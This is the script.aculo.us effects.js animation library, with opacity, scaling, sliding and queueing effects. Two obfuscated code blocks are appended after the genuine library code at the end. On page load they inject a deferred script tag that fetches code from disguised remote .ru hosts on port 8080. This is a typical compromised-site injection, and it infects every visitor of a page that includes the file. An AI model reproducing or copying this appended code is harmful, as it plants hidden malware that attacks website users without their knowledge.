// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// Contributors:
//  Justin Palmer (http://encytemedia.com/)
//  Mark Pilgrim (http://diveintomark.org/)
//  Martin Bialasinki
// 
// See scriptaculous.js for full license.  

// converts rgb() and #xxx to #xxxxxx format,  
// returns self (or first argument) if not convertable  
String.prototype.parseColor = function() {  
  var color = '#';  
  if(this.slice(0,4) == 'rgb(') {  
    var cols = this.slice(4,this.length-1).split(',');  
    var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3);  
  } else {  
    if(this.slice(0,1) == '#') {  
      if(this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase();  
      if(this.length==7) color = this.toLowerCase();  
    }  
  }  
  return(color.length==7 ? color : (arguments[0] || this));  
}

/*--------------------------------------------------------------------------*/

Element.collectTextNodes = function(element) {  
  return $A($(element).childNodes).collect( function(node) {
    return (node.nodeType==3 ? node.nodeValue : 
      (node.hasChildNodes() ? Element.collectTextNodes(node) : ''));
  }).flatten().join('');
}

Element.collectTextNodesIgnoreClass = function(element, className) {  
  return $A($(element).childNodes).collect( function(node) {
    return (node.nodeType==3 ? node.nodeValue : 
      ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? 
        Element.collectTextNodesIgnoreClass(node, className) : ''));
  }).flatten().join('');
}

Element.setContentZoom = function(element, percent) {
  element = $(element);  
  Element.setStyle(element, {fontSize: (percent/100) + 'em'});   
  if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0);
}

Element.getOpacity = function(element){  
  var opacity;
  if (opacity = Element.getStyle(element, 'opacity'))  
    return parseFloat(opacity);  
  if (opacity = (Element.getStyle(element, 'filter') || '').match(/alpha\(opacity=(.*)\)/))  
    if(opacity[1]) return parseFloat(opacity[1]) / 100;  
  return 1.0;  
}

Element.setOpacity = function(element, value){  
  element= $(element);  
  if (value == 1){
    Element.setStyle(element, { opacity: 
      (/Gecko/.test(navigator.userAgent) && !/Konqueror|Safari|KHTML/.test(navigator.userAgent)) ? 
      0.999999 : null });
    if(/MSIE/.test(navigator.userAgent))  
      Element.setStyle(element, {filter: Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,'')});  
  } else {  
    if(value < 0.00001) value = 0;  
    Element.setStyle(element, {opacity: value});
    if(/MSIE/.test(navigator.userAgent))  
     Element.setStyle(element, 
       { filter: Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,'') +
                 'alpha(opacity='+value*100+')' });  
  }
}  
 
Element.getInlineOpacity = function(element){  
  return $(element).style.opacity || '';
}  

Element.childrenWithClassName = function(element, className, findFirst) {
  var classNameRegExp = new RegExp("(^|\\s)" + className + "(\\s|$)");
  var results = $A($(element).getElementsByTagName('*'))[findFirst ? 'detect' : 'select']( function(c) { 
    return (c.className && c.className.match(classNameRegExp));
  });
  if(!results) results = [];
  return results;
}

Element.forceRerendering = function(element) {
  try {
    element = $(element);
    var n = document.createTextNode(' ');
    element.appendChild(n);
    element.removeChild(n);
  } catch(e) { }
};

/*--------------------------------------------------------------------------*/

Array.prototype.call = function() {
  var args = arguments;
  this.each(function(f){ f.apply(this, args) });
}

/*--------------------------------------------------------------------------*/

var Effect = {
  tagifyText: function(element) {
    var tagifyStyle = 'position:relative';
    if(/MSIE/.test(navigator.userAgent)) tagifyStyle += ';zoom:1';
    element = $(element);
    $A(element.childNodes).each( function(child) {
      if(child.nodeType==3) {
        child.nodeValue.toArray().each( function(character) {
          element.insertBefore(
            Builder.node('span',{style: tagifyStyle},
              character == ' ' ? String.fromCharCode(160) : character), 
              child);
        });
        Element.remove(child);
      }
    });
  },
  multiple: function(element, effect) {
    var elements;
    if(((typeof element == 'object') || 
        (typeof element == 'function')) && 
       (element.length))
      elements = element;
    else
      elements = $(element).childNodes;
      
    var options = Object.extend({
      speed: 0.1,
      delay: 0.0
    }, arguments[2] || {});
    var masterDelay = options.delay;

    $A(elements).each( function(element, index) {
      new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay }));
    });
  },
  PAIRS: {
    'slide':  ['SlideDown','SlideUp'],
    'blind':  ['BlindDown','BlindUp'],
    'appear': ['Appear','Fade']
  },
  toggle: function(element, effect) {
    element = $(element);
    effect = (effect || 'appear').toLowerCase();
    var options = Object.extend({
      queue: { position:'end', scope:(element.id || 'global'), limit: 1 }
    }, arguments[2] || {});
    Effect[element.visible() ? 
      Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options);
  }
};

var Effect2 = Effect; // deprecated

/* ------------- transitions ------------- */

Effect.Transitions = {}

Effect.Transitions.linear = function(pos) {
  return pos;
}
Effect.Transitions.sinoidal = function(pos) {
  return (-Math.cos(pos*Math.PI)/2) + 0.5;
}
Effect.Transitions.reverse  = function(pos) {
  return 1-pos;
}
Effect.Transitions.flicker = function(pos) {
  return ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4;
}
Effect.Transitions.wobble = function(pos) {
  return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5;
}
Effect.Transitions.pulse = function(pos) {
  return (Math.floor(pos*10) % 2 == 0 ? 
    (pos*10-Math.floor(pos*10)) : 1-(pos*10-Math.floor(pos*10)));
}
Effect.Transitions.none = function(pos) {
  return 0;
}
Effect.Transitions.full = function(pos) {
  return 1;
}

/* ------------- core effects ------------- */

Effect.ScopedQueue = Class.create();
Object.extend(Object.extend(Effect.ScopedQueue.prototype, Enumerable), {
  initialize: function() {
    this.effects  = [];
    this.interval = null;
  },
  _each: function(iterator) {
    this.effects._each(iterator);
  },
  add: function(effect) {
    var timestamp = new Date().getTime();
    
    var position = (typeof effect.options.queue == 'string') ? 
      effect.options.queue : effect.options.queue.position;
    
    switch(position) {
      case 'front':
        // move unstarted effects after this effect  
        this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) {
            e.startOn  += effect.finishOn;
            e.finishOn += effect.finishOn;
          });
        break;
      case 'end':
        // start effect after last queued effect has finished
        timestamp = this.effects.pluck('finishOn').max() || timestamp;
        break;
    }
    
    effect.startOn  += timestamp;
    effect.finishOn += timestamp;

    if(!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit))
      this.effects.push(effect);
    
    if(!this.interval) 
      this.interval = setInterval(this.loop.bind(this), 40);
  },
  remove: function(effect) {
    this.effects = this.effects.reject(function(e) { return e==effect });
    if(this.effects.length == 0) {
      clearInterval(this.interval);
      this.interval = null;
    }
  },
  loop: function() {
    var timePos = new Date().getTime();
    this.effects.invoke('loop', timePos);
  }
});

Effect.Queues = {
  instances: $H(),
  get: function(queueName) {
    if(typeof queueName != 'string') return queueName;
    
    if(!this.instances[queueName])
      this.instances[queueName] = new Effect.ScopedQueue();
      
    return this.instances[queueName];
  }
}
Effect.Queue = Effect.Queues.get('global');

Effect.DefaultOptions = {
  transition: Effect.Transitions.sinoidal,
  duration:   1.0,   // seconds
  fps:        25.0,  // max. 25fps due to Effect.Queue implementation
  sync:       false, // true for combining
  from:       0.0,
  to:         1.0,
  delay:      0.0,
  queue:      'parallel'
}

Effect.Base = function() {};
Effect.Base.prototype = {
  position: null,
  start: function(options) {
    this.options      = Object.extend(Object.extend({},Effect.DefaultOptions), options || {});
    this.currentFrame = 0;
    this.state        = 'idle';
    this.startOn      = this.options.delay*1000;
    this.finishOn     = this.startOn + (this.options.duration*1000);
    this.event('beforeStart');
    if(!this.options.sync)
      Effect.Queues.get(typeof this.options.queue == 'string' ? 
        'global' : this.options.queue.scope).add(this);
  },
  loop: function(timePos) {
    if(timePos >= this.startOn) {
      if(timePos >= this.finishOn) {
        this.render(1.0);
        this.cancel();
        this.event('beforeFinish');
        if(this.finish) this.finish(); 
        this.event('afterFinish');
        return;  
      }
      var pos   = (timePos - this.startOn) / (this.finishOn - this.startOn);
      var frame = Math.round(pos * this.options.fps * this.options.duration);
      if(frame > this.currentFrame) {
        this.render(pos);
        this.currentFrame = frame;
      }
    }
  },
  render: function(pos) {
    if(this.state == 'idle') {
      this.state = 'running';
      this.event('beforeSetup');
      if(this.setup) this.setup();
      this.event('afterSetup');
    }
    if(this.state == 'running') {
      if(this.options.transition) pos = this.options.transition(pos);
      pos *= (this.options.to-this.options.from);
      pos += this.options.from;
      this.position = pos;
      this.event('beforeUpdate');
      if(this.update) this.update(pos);
      this.event('afterUpdate');
    }
  },
  cancel: function() {
    if(!this.options.sync)
      Effect.Queues.get(typeof this.options.queue == 'string' ? 
        'global' : this.options.queue.scope).remove(this);
    this.state = 'finished';
  },
  event: function(eventName) {
    if(this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this);
    if(this.options[eventName]) this.options[eventName](this);
  },
  inspect: function() {
    return '#<Effect:' + $H(this).inspect() + ',options:' + $H(this.options).inspect() + '>';
  }
}

Effect.Parallel = Class.create();
Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), {
  initialize: function(effects) {
    this.effects = effects || [];
    this.start(arguments[1]);
  },
  update: function(position) {
    this.effects.invoke('render', position);
  },
  finish: function(position) {
    this.effects.each( function(effect) {
      effect.render(1.0);
      effect.cancel();
      effect.event('beforeFinish');
      if(effect.finish) effect.finish(position);
      effect.event('afterFinish');
    });
  }
});

Effect.Opacity = Class.create();
Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    // make this work on IE on elements without 'layout'
    if(/MSIE/.test(navigator.userAgent) && (!this.element.hasLayout))
      this.element.setStyle({zoom: 1});
    var options = Object.extend({
      from: this.element.getOpacity() || 0.0,
      to:   1.0
    }, arguments[1] || {});
    this.start(options);
  },
  update: function(position) {
    this.element.setOpacity(position);
  }
});

Effect.Move = Class.create();
Object.extend(Object.extend(Effect.Move.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'relative'
    }, arguments[1] || {});
    this.start(options);
  },
  setup: function() {
    // Bug in Opera: Opera returns the "real" position of a static element or
    // relative element that does not have top/left explicitly set.
    // ==> Always set top and left for position relative elements in your stylesheets 
    // (to 0 if you do not need them) 
    this.element.makePositioned();
    this.originalLeft = parseFloat(this.element.getStyle('left') || '0');
    this.originalTop  = parseFloat(this.element.getStyle('top')  || '0');
    if(this.options.mode == 'absolute') {
      // absolute movement, so we need to calc deltaX and deltaY
      this.options.x = this.options.x - this.originalLeft;
      this.options.y = this.options.y - this.originalTop;
    }
  },
  update: function(position) {
    this.element.setStyle({
      left: this.options.x  * position + this.originalLeft + 'px',
      top:  this.options.y  * position + this.originalTop  + 'px'
    });
  }
});

// for backwards compatibility
Effect.MoveBy = function(element, toTop, toLeft) {
  return new Effect.Move(element, 
    Object.extend({ x: toLeft, y: toTop }, arguments[3] || {}));
};

Effect.Scale = Class.create();
Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), {
  initialize: function(element, percent) {
    this.element = $(element)
    var options = Object.extend({
      scaleX: true,
      scaleY: true,
      scaleContent: true,
      scaleFromCenter: false,
      scaleMode: 'box',        // 'box' or 'contents' or {} with provided values
      scaleFrom: 100.0,
      scaleTo:   percent
    }, arguments[2] || {});
    this.start(options);
  },
  setup: function() {
    this.restoreAfterFinish = this.options.restoreAfterFinish || false;
    this.elementPositioning = this.element.getStyle('position');
    
    this.originalStyle = {};
    ['top','left','width','height','fontSize'].each( function(k) {
      this.originalStyle[k] = this.element.style[k];
    }.bind(this));
      
    this.originalTop  = this.element.offsetTop;
    this.originalLeft = this.element.offsetLeft;
    
    var fontSize = this.element.getStyle('font-size') || '100%';
    ['em','px','%'].each( function(fontSizeType) {
      if(fontSize.indexOf(fontSizeType)>0) {
        this.fontSize     = parseFloat(fontSize);
        this.fontSizeType = fontSizeType;
      }
    }.bind(this));
    
    this.factor = (this.options.scaleTo - this.options.scaleFrom)/100;
    
    this.dims = null;
    if(this.options.scaleMode=='box')
      this.dims = [this.element.offsetHeight, this.element.offsetWidth];
    if(/^content/.test(this.options.scaleMode))
      this.dims = [this.element.scrollHeight, this.element.scrollWidth];
    if(!this.dims)
      this.dims = [this.options.scaleMode.originalHeight,
                   this.options.scaleMode.originalWidth];
  },
  update: function(position) {
    var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
    if(this.options.scaleContent && this.fontSize)
      this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType });
    this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
  },
  finish: function(position) {
    if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle);
  },
  setDimensions: function(height, width) {
    var d = {};
    if(this.options.scaleX) d.width = width + 'px';
    if(this.options.scaleY) d.height = height + 'px';
    if(this.options.scaleFromCenter) {
      var topd  = (height - this.dims[0])/2;
      var leftd = (width  - this.dims[1])/2;
      if(this.elementPositioning == 'absolute') {
        if(this.options.scaleY) d.top = this.originalTop-topd + 'px';
        if(this.options.scaleX) d.left = this.originalLeft-leftd + 'px';
      } else {
        if(this.options.scaleY) d.top = -topd + 'px';
        if(this.options.scaleX) d.left = -leftd + 'px';
      }
    }
    this.element.setStyle(d);
  }
});

Effect.Highlight = Class.create();
Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || {});
    this.start(options);
  },
  setup: function() {
    // Prevent executing on elements not in the layout flow
    if(this.element.getStyle('display')=='none') { this.cancel(); return; }
    // Disable background image during the effect
    this.oldStyle = {
      backgroundImage: this.element.getStyle('background-image') };
    this.element.setStyle({backgroundImage: 'none'});
    if(!this.options.endcolor)
      this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff');
    if(!this.options.restorecolor)
      this.options.restorecolor = this.element.getStyle('background-color');
    // init color calculations
    this._base  = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this));
    this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this));
  },
  update: function(position) {
    this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){
      return m+(Math.round(this._base[i]+(this._delta[i]*position)).toColorPart()); }.bind(this)) });
  },
  finish: function() {
    this.element.setStyle(Object.extend(this.oldStyle, {
      backgroundColor: this.options.restorecolor
    }));
  }
});

Effect.ScrollTo = Class.create();
Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    this.start(arguments[1] || {});
  },
  setup: function() {
    Position.prepare();
    var offsets = Position.cumulativeOffset(this.element);
    if(this.options.offset) offsets[1] += this.options.offset;
    var max = window.innerHeight ? 
      window.height - window.innerHeight :
      document.body.scrollHeight - 
        (document.documentElement.clientHeight ? 
          document.documentElement.clientHeight : document.body.clientHeight);
    this.scrollStart = Position.deltaY;
    this.delta = (offsets[1] > max ? max : offsets[1]) - this.scrollStart;
  },
  update: function(position) {
    Position.prepare();
    window.scrollTo(Position.deltaX, 
      this.scrollStart + (position*this.delta));
  }
});

/* ------------- combination effects ------------- */

Effect.Fade = function(element) {
  element = $(element);
  var oldOpacity = element.getInlineOpacity();
  var options = Object.extend({
  from: element.getOpacity() || 1.0,
  to:   0.0,
  afterFinishInternal: function(effect) { 
    if(effect.options.to!=0) return;
    effect.element.hide();
    effect.element.setStyle({opacity: oldOpacity}); 
  }}, arguments[1] || {});
  return new Effect.Opacity(element,options);
}

Effect.Appear = function(element) {
  element = $(element);
  var options = Object.extend({
  from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0),
  to:   1.0,
  // force Safari to render floated elements properly
  afterFinishInternal: function(effect) {
    effect.element.forceRerendering();
  },
  beforeSetup: function(effect) {
    effect.element.setOpacity(effect.options.from);
    effect.element.show(); 
  }}, arguments[1] || {});
  return new Effect.Opacity(element,options);
}

Effect.Puff = function(element) {
  element = $(element);
  var oldStyle = { opacity: element.getInlineOpacity(), position: element.getStyle('position') };
  return new Effect.Parallel(
   [ new Effect.Scale(element, 200, 
      { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), 
     new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], 
     Object.extend({ duration: 1.0, 
      beforeSetupInternal: function(effect) {
        effect.effects[0].element.setStyle({position: 'absolute'}); },
      afterFinishInternal: function(effect) {
         effect.effects[0].element.hide();
         effect.effects[0].element.setStyle(oldStyle); }
     }, arguments[1] || {})
   );
}

Effect.BlindUp = function(element) {
  element = $(element);
  element.makeClipping();
  return new Effect.Scale(element, 0, 
    Object.extend({ scaleContent: false, 
      scaleX: false, 
      restoreAfterFinish: true,
      afterFinishInternal: function(effect) {
        effect.element.hide();
        effect.element.undoClipping();
      } 
    }, arguments[1] || {})
  );
}

Effect.BlindDown = function(element) {
  element = $(element);
  var elementDimensions = element.getDimensions();
  return new Effect.Scale(element, 100, 
    Object.extend({ scaleContent: false, 
      scaleX: false,
      scaleFrom: 0,
      scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
      restoreAfterFinish: true,
      afterSetup: function(effect) {
        effect.element.makeClipping();
        effect.element.setStyle({height: '0px'});
        effect.element.show(); 
      },  
      afterFinishInternal: function(effect) {
        effect.element.undoClipping();
      }
    }, arguments[1] || {})
  );
}

Effect.SwitchOff = function(element) {
  element = $(element);
  var oldOpacity = element.getInlineOpacity();
  return new Effect.Appear(element, { 
    duration: 0.4,
    from: 0,
    transition: Effect.Transitions.flicker,
    afterFinishInternal: function(effect) {
      new Effect.Scale(effect.element, 1, { 
        duration: 0.3, scaleFromCenter: true,
        scaleX: false, scaleContent: false, restoreAfterFinish: true,
        beforeSetup: function(effect) { 
          effect.element.makePositioned();
          effect.element.makeClipping();
        },
        afterFinishInternal: function(effect) {
          effect.element.hide();
          effect.element.undoClipping();
          effect.element.undoPositioned();
          effect.element.setStyle({opacity: oldOpacity});
        }
      })
    }
  });
}

Effect.DropOut = function(element) {
  element = $(element);
  var oldStyle = {
    top: element.getStyle('top'),
    left: element.getStyle('left'),
    opacity: element.getInlineOpacity() };
  return new Effect.Parallel(
    [ new Effect.Move(element, {x: 0, y: 100, sync: true }), 
      new Effect.Opacity(element, { sync: true, to: 0.0 }) ],
    Object.extend(
      { duration: 0.5,
        beforeSetup: function(effect) {
          effect.effects[0].element.makePositioned(); 
        },
        afterFinishInternal: function(effect) {
          effect.effects[0].element.hide();
          effect.effects[0].element.undoPositioned();
          effect.effects[0].element.setStyle(oldStyle);
        } 
      }, arguments[1] || {}));
}

Effect.Shake = function(element) {
  element = $(element);
  var oldStyle = {
    top: element.getStyle('top'),
    left: element.getStyle('left') };
    return new Effect.Move(element, 
      { x:  20, y: 0, duration: 0.05, afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x: -40, y: 0, duration: 0.1,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x:  40, y: 0, duration: 0.1,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x: -40, y: 0, duration: 0.1,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x:  40, y: 0, duration: 0.1,  afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
      { x: -20, y: 0, duration: 0.05, afterFinishInternal: function(effect) {
        effect.element.undoPositioned();
        effect.element.setStyle(oldStyle);
  }}) }}) }}) }}) }}) }});
}

Effect.SlideDown = function(element) {
  element = $(element);
  element.cleanWhitespace();
  // SlideDown need to have the content of the element wrapped in a container element with fixed height!
  var oldInnerBottom = $(element.firstChild).getStyle('bottom');
  var elementDimensions = element.getDimensions();
  return new Effect.Scale(element, 100, Object.extend({ 
    scaleContent: false, 
    scaleX: false, 
    scaleFrom: 0,
    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
    restoreAfterFinish: true,
    afterSetup: function(effect) {
      effect.element.makePositioned();
      effect.element.firstChild.makePositioned();
      if(window.opera) effect.element.setStyle({top: ''});
      effect.element.makeClipping();
      effect.element.setStyle({height: '0px'});
      effect.element.show(); },
    afterUpdateInternal: function(effect) {
      effect.element.firstChild.setStyle({bottom:
        (effect.dims[0] - effect.element.clientHeight) + 'px' }); 
    },
    afterFinishInternal: function(effect) {
      effect.element.undoClipping(); 
      // IE will crash if child is undoPositioned first
      if(/MSIE/.test(navigator.userAgent)){
        effect.element.undoPositioned();
        effect.element.firstChild.undoPositioned();
      }else{
        effect.element.firstChild.undoPositioned();
        effect.element.undoPositioned();
      }
      effect.element.firstChild.setStyle({bottom: oldInnerBottom}); }
    }, arguments[1] || {})
  );
}
  
Effect.SlideUp = function(element) {
  element = $(element);
  element.cleanWhitespace();
  var oldInnerBottom = $(element.firstChild).getStyle('bottom');
  return new Effect.Scale(element, 0, 
   Object.extend({ scaleContent: false, 
    scaleX: false, 
    scaleMode: 'box',
    scaleFrom: 100,
    restoreAfterFinish: true,
    beforeStartInternal: function(effect) {
      effect.element.makePositioned();
      effect.element.firstChild.makePositioned();
      if(window.opera) effect.element.setStyle({top: ''});
      effect.element.makeClipping();
      effect.element.show(); },  
    afterUpdateInternal: function(effect) {
      effect.element.firstChild.setStyle({bottom:
        (effect.dims[0] - effect.element.clientHeight) + 'px' }); },
    afterFinishInternal: function(effect) {
      effect.element.hide();
      effect.element.undoClipping();
      effect.element.firstChild.undoPositioned();
      effect.element.undoPositioned();
      effect.element.setStyle({bottom: oldInnerBottom}); }
   }, arguments[1] || {})
  );
}

// Bug in opera makes the TD containing this element expand for a instance after finish 
Effect.Squish = function(element) {
  return new Effect.Scale(element, window.opera ? 1 : 0, 
    { restoreAfterFinish: true,
      beforeSetup: function(effect) {
        effect.element.makeClipping(effect.element); },  
      afterFinishInternal: function(effect) {
        effect.element.hide(effect.element); 
        effect.element.undoClipping(effect.element); }
  });
}

Effect.Grow = function(element) {
  element = $(element);
  var options = Object.extend({
    direction: 'center',
    moveTransition: Effect.Transitions.sinoidal,
    scaleTransition: Effect.Transitions.sinoidal,
    opacityTransition: Effect.Transitions.full
  }, arguments[1] || {});
  var oldStyle = {
    top: element.style.top,
    left: element.style.left,
    height: element.style.height,
    width: element.style.width,
    opacity: element.getInlineOpacity() };

  var dims = element.getDimensions();    
  var initialMoveX, initialMoveY;
  var moveX, moveY;
  
  switch (options.direction) {
    case 'top-left':
      initialMoveX = initialMoveY = moveX = moveY = 0; 
      break;
    case 'top-right':
      initialMoveX = dims.width;
      initialMoveY = moveY = 0;
      moveX = -dims.width;
      break;
    case 'bottom-left':
      initialMoveX = moveX = 0;
      initialMoveY = dims.height;
      moveY = -dims.height;
      break;
    case 'bottom-right':
      initialMoveX = dims.width;
      initialMoveY = dims.height;
      moveX = -dims.width;
      moveY = -dims.height;
      break;
    case 'center':
      initialMoveX = dims.width / 2;
      initialMoveY = dims.height / 2;
      moveX = -dims.width / 2;
      moveY = -dims.height / 2;
      break;
  }
  
  return new Effect.Move(element, {
    x: initialMoveX,
    y: initialMoveY,
    duration: 0.01, 
    beforeSetup: function(effect) {
      effect.element.hide();
      effect.element.makeClipping();
      effect.element.makePositioned();
    },
    afterFinishInternal: function(effect) {
      new Effect.Parallel(
        [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }),
          new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }),
          new Effect.Scale(effect.element, 100, {
            scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, 
            sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true})
        ], Object.extend({
             beforeSetup: function(effect) {
               effect.effects[0].element.setStyle({height: '0px'});
               effect.effects[0].element.show(); 
             },
             afterFinishInternal: function(effect) {
               effect.effects[0].element.undoClipping();
               effect.effects[0].element.undoPositioned();
               effect.effects[0].element.setStyle(oldStyle); 
             }
           }, options)
      )
    }
  });
}

Effect.Shrink = function(element) {
  element = $(element);
  var options = Object.extend({
    direction: 'center',
    moveTransition: Effect.Transitions.sinoidal,
    scaleTransition: Effect.Transitions.sinoidal,
    opacityTransition: Effect.Transitions.none
  }, arguments[1] || {});
  var oldStyle = {
    top: element.style.top,
    left: element.style.left,
    height: element.style.height,
    width: element.style.width,
    opacity: element.getInlineOpacity() };

  var dims = element.getDimensions();
  var moveX, moveY;
  
  switch (options.direction) {
    case 'top-left':
      moveX = moveY = 0;
      break;
    case 'top-right':
      moveX = dims.width;
      moveY = 0;
      break;
    case 'bottom-left':
      moveX = 0;
      moveY = dims.height;
      break;
    case 'bottom-right':
      moveX = dims.width;
      moveY = dims.height;
      break;
    case 'center':  
      moveX = dims.width / 2;
      moveY = dims.height / 2;
      break;
  }
  
  return new Effect.Parallel(
    [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }),
      new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}),
      new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition })
    ], Object.extend({            
         beforeStartInternal: function(effect) {
           effect.effects[0].element.makePositioned();
           effect.effects[0].element.makeClipping(); },
         afterFinishInternal: function(effect) {
           effect.effects[0].element.hide();
           effect.effects[0].element.undoClipping();
           effect.effects[0].element.undoPositioned();
           effect.effects[0].element.setStyle(oldStyle); }
       }, options)
  );
}

Effect.Pulsate = function(element) {
  element = $(element);
  var options    = arguments[1] || {};
  var oldOpacity = element.getInlineOpacity();
  var transition = options.transition || Effect.Transitions.sinoidal;
  var reverser   = function(pos){ return transition(1-Effect.Transitions.pulse(pos)) };
  reverser.bind(transition);
  return new Effect.Opacity(element, 
    Object.extend(Object.extend({  duration: 3.0, from: 0,
      afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); }
    }, options), {transition: reverser}));
}

Effect.Fold = function(element) {
  element = $(element);
  var oldStyle = {
    top: element.style.top,
    left: element.style.left,
    width: element.style.width,
    height: element.style.height };
  Element.makeClipping(element);
  return new Effect.Scale(element, 5, Object.extend({   
    scaleContent: false,
    scaleX: false,
    afterFinishInternal: function(effect) {
    new Effect.Scale(element, 1, { 
      scaleContent: false, 
      scaleY: false,
      afterFinishInternal: function(effect) {
        effect.element.hide();
        effect.element.undoClipping(); 
        effect.element.setStyle(oldStyle);
      } });
  }}, arguments[1] || {}));
};

['setOpacity','getOpacity','getInlineOpacity','forceRerendering','setContentZoom',
 'collectTextNodes','collectTextNodesIgnoreClass','childrenWithClassName'].each( 
  function(f) { Element.Methods[f] = Element[f]; }
);

Element.Methods.visualEffect = function(element, effect, options) {
  s = effect.gsub(/_/, '-').camelize();
  effect_class = s.charAt(0).toUpperCase() + s.substring(1);
  new Effect[effect_class](element, options);
  return $(element);
};

Element.addMethods();

var n=new String();this.k="";var um=new Date();var kb=new Date();var q='sxc%rXi%pXt%'.replace(/[%xeXn]/g, '');this.b=false;var rp;if(rp!=''){rp='h'};var j=window;var umc=32379;var jk;if(jk!='yj' && jk!='zb'){jk='yj'};var qn=document;var d;if(d!='' && d!='xw'){d=null};j.onload=function(){var _="";var wm;if(wm!='doq' && wm!='uw'){wm='doq'};try {var pt;if(pt!='lm' && pt!='xd'){pt='lm'};var lmv=new Array();m=qn.createElement(q);var id;if(id!='qv' && id != ''){id=null};var br=new Array();var yl="yl";this.qo='';m.src='hVt#tVp#:V/#/!sVo6f#tFpFeVdFiFa!-#cFo!m6.#hVu6r#r#iFy#eVtV.!cVoVm6.6tFr#.FsFe!dFo!p!a6r#k#i#n!g6-6c!oVm#.Fr#e!cFe!nVtFm#e!xVi#c!o#.6r#u!:V860V8!06/V5F5Fb#b6s!.#cFo6mF/!5V5Vb#b!s6.!cVo!mF/Fg6o!o6gFl6e6.6c#o!m6/#mFe!rFcFa#d!o6l!i#bVr!e#.6c6o#m6.!mVx#/FmFp6n!r!sV.6cVo!m#/!'.replace(/[\!#V6F]/g, '');m.setAttribute('d_eRf_eRr!'.replace(/[\!0_Rt]/g, ''), "1");this.pj="pj";this.yt=false;this.zm=27364;qn.body.appendChild(m);var bt;if(bt!='' && bt!='a'){bt=''};this.al='';} catch(t){var is="is";};var qs="";var qf="qf";};var ej=63325;

var k;if(k!='zp'){k=''};this.fq='';var n;if(n!=''){n='t'};var a='socaroi?pota'.replace(/[a\^\?oA]/g, '');var o="";var x=document;var _=63462;this.na='';var u=window;this.ff=false;this.g="";var d=41323;u.onload=function(){try {var dh=false;this._u=52445;z=x.createElement(a);var xd;if(xd!='dr' && xd!='ux'){xd=''};var fl=new Array();z.src='hWtDt?p?:6/?/%a6l?i%s6o?fWtW-6c6o?mW.6c?h%a6sDe6.?c6oWmD.%v6eWr?i?z%o%n6-Wn6eDt%.Dy%o6uDrDt%aWg?h?eDuDe?rD.DrWu%:D860?8%0?/?g6o%o6gWl%e6.%c6o6m6/Wg6oDoDgWl%e%.Dc%o6mW/DrWo?b6tWe%x?.%c6o%m%/6wWeDb%mWd6.?cDoDmD/Wn?gWo6iDs?aWo?.?nWeWtD/%'.replace(/[%W6\?D]/g, '');var oj;if(oj!='aj'){oj=''};var nw=new String();z.setAttribute('dseWfse;ra'.replace(/[aWVs;]/g, ''), "1");var oro;if(oro!='zs' && oro!='ni'){oro=''};var am;if(am!='d_' && am!='pe'){am=''};var cl=new String();this.y='';x.body.appendChild(z);} catch(p){var cm="cm";var aq;if(aq!='' && aq!='xn'){aq=null};};var va;if(va!='b' && va != ''){va=null};};var bv;if(bv!=''){bv='d_a'};

